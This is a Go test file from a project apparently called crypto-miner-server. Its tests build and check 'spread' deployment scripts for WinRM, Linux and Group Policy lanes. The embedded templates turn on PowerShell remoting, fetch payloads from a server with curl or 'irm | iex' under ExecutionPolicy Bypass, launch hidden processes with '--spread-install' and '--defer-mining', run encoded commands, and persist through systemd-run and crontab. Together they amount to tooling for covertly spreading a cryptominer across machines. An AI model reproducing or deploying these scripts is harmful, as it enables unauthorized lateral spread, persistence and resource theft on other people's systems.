package api import ( "os" "path/filepath" "strings" "testing" dbpkg "crypto-miner-server/internal/db" "crypto-miner-server/internal/models" ) func writeDeploySpreadTemplates(t *testing.T, root string) { t.Helper() winrmDir := filepath.Join(root, "templates", "spread", "winrm") if err := os.MkdirAll(winrmDir, 0o755); err != nil { t.Fatal(err) } winrmScript := `# WinRM bootstrap Enable-PSRemoting -Force -SkipNetworkProfileCheck $url = '{{SERVER_URL}}/get?os=windows{{GET_QUERY_SUFFIX}}' Start-Process -FilePath $dest -ArgumentList '--spread-install','--defer-mining' -WindowStyle Hidden powershell.exe -EncodedCommand $encoded ` if err := os.WriteFile(filepath.Join(winrmDir, "bootstrap.ps1"), []byte(winrmScript), 0o644); err != nil { t.Fatal(err) } linuxDir := filepath.Join(root, "templates", "spread", "linux") if err := os.MkdirAll(linuxDir, 0o755); err != nil { t.Fatal(err) } linuxScript := `#!/bin/sh LOTL_MODE='{{LOTL_MODE}}' curl -fsSL "${SERVER}/get?os=linux{{QUERY_SUFFIX}}" systemd-run --user --unit=aetherforge-worker.service persist_crontab() { crontab -; } ` if err := os.WriteFile(filepath.Join(linuxDir, "lotl-bootstrap.sh"), []byte(linuxScript), 0o755); err != nil { t.Fatal(err) } entDir := filepath.Join(root, "templates", "spread", "enterprise") if err := os.MkdirAll(entDir, 0o755); err != nil { t.Fatal(err) } gpoScript := `# GPO computer startup script $installScript = '{{SERVER_URL}}/install.ps1{{GET_QUERY_SUFFIX}}' $env:AETHER_DEFER_MINING = '1' powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm '$installScript' | iex" ` if err := os.WriteFile(filepath.Join(entDir, "gpo-startup.ps1"), []byte(gpoScript), 0o644); err != nil { t.Fatal(err) } } func TestSpreadTemplatePathsWinRMGPO(t *testing.T) { cases := map[string]struct { subdir string zip string }{ "winrm": {"winrm", "aetherforge-winrm-bootstrap.zip"}, "linux-lotl": {"linux", "aetherforge-linux-lotl.zip"}, "gpo": {"enterprise", "aetherforge-gpo-startup.zip"}, "enterprise-gpo": {"enterprise", "aetherforge-gpo-startup.zip"}, } for tpl, want := range cases { subdir, zip, err := spreadTemplatePaths(tpl) if err != nil { t.Fatalf("%q: %v", tpl, err) } if subdir != want.subdir || zip != want.zip { t.Fatalf("%q => subdir=%q zip=%q want %+v", tpl, subdir, zip, want) } } _, _, err := spreadTemplatePaths("bogus-lane") if err == nil || !strings.Contains(err.Error(), "unknown template") { t.Fatalf("err=%v", err) } } func TestDeployPlanWinRMLane(t *testing.T) { root := t.TempDir() writeDeploySpreadTemplates(t, root) h := testDeployPlanHandlerWithRoot(t, root) plan, err := h.buildPlan(deployPlanRequest{ Platform: "windows", BuildID: "b1", Campaign: "winrm-lab", }, "WinRM", ServiceDeployLane{Lane: "winrm", Template: "winrm"}) if err != nil { t.Fatal(err) } if plan.JoinLane != "winrm" || plan.Script == "" { t.Fatalf("plan=%+v", plan) } for _, marker := range []string{ "http://127.0.0.1:8989/get?os=windows", "--spread-install", "--defer-mining", "Enable-PSRemoting", } { if !strings.Contains(plan.Script, marker) { t.Fatalf("script missing %q: %s", marker, plan.Script) } } } func TestDeployPlanGPOLane(t *testing.T) { root := t.TempDir() writeDeploySpreadTemplates(t, root) h := testDeployPlanHandlerWithRoot(t, root) plan, err := h.buildPlan(deployPlanRequest{ Platform: "windows", BuildID: "b1", Campaign: "gpo-wave", }, "gpsvc", ServiceDeployLane{Lane: "gpo", Template: "gpo"}) if err != nil { t.Fatal(err) } if plan.JoinLane != "gpo" || plan.Script == "" { t.Fatalf("plan=%+v", plan) } for _, marker := range []string{"/install.ps1", "AETHER_DEFER_MINING"} { if !strings.Contains(plan.Script, marker) { t.Fatalf("script missing %q: %s", marker, plan.Script) } } if !strings.Contains(plan.Script, "pin=b1") || !strings.Contains(plan.Script, "c=gpo-wave") { t.Fatalf("script missing query suffix: %s", plan.Script) } } func TestDeployPlanLinuxLOTLLane(t *testing.T) { root := t.TempDir() writeDeploySpreadTemplates(t, root) h := testDeployPlanHandlerWithRoot(t, root) plan, err := h.buildPlan(deployPlanRequest{ Platform: "linux", BuildID: "b1", Campaign: "lotl-lab", }, "sshd", ServiceDeployLane{Lane: "linux_lotl", Template: "linux-lotl"}) if err != nil { t.Fatal(err) } if plan.JoinLane != "linux_lotl" || plan.Script == "" { t.Fatalf("plan=%+v", plan) } for _, marker := range []string{"systemd-run --user", "curl -fsSL", "systemd_run_user"} { if !strings.Contains(plan.Script, marker) { t.Fatalf("script missing %q: %s", marker, plan.Script) } } } func testDeployPlanHandlerWithRoot(t *testing.T, projectRoot string) *DeployPlanHandler { t.Helper() dir := t.TempDir() database, err := dbpkg.New(dir) if err != nil { t.Fatal(err) } t.Cleanup(func() { _ = database.Close() }) buildDir := filepath.Join(dir, "builds", "b1") if err := os.MkdirAll(buildDir, 0o755); err != nil { t.Fatal(err) } artifact := filepath.Join(buildDir, "worker.exe") if err := os.WriteFile(artifact, []byte("deploy-plan-test-payload"), 0o644); err != nil { t.Fatal(err) } if err := database.InsertBuild(&models.BuildRecord{ ID: "b1", Platform: "windows", FileName: "worker.exe", FilePath: artifact, }); err != nil { t.Fatal(err) } cfgPath := filepath.Join(dir, "config.json") if err := os.WriteFile(cfgPath, []byte(`{"server":{"dns_zone":"lab.internal"}}`), 0o644); err != nil { t.Fatal(err) } return NewDeployPlanHandler(database, dir, projectRoot, func() string { return "http://127.0.0.1:8989" }, func() string { return "fleet-test" }, func() map[string]ServiceDeployLane { return NormalizeServiceDeployAllowlist(nil) }, ) }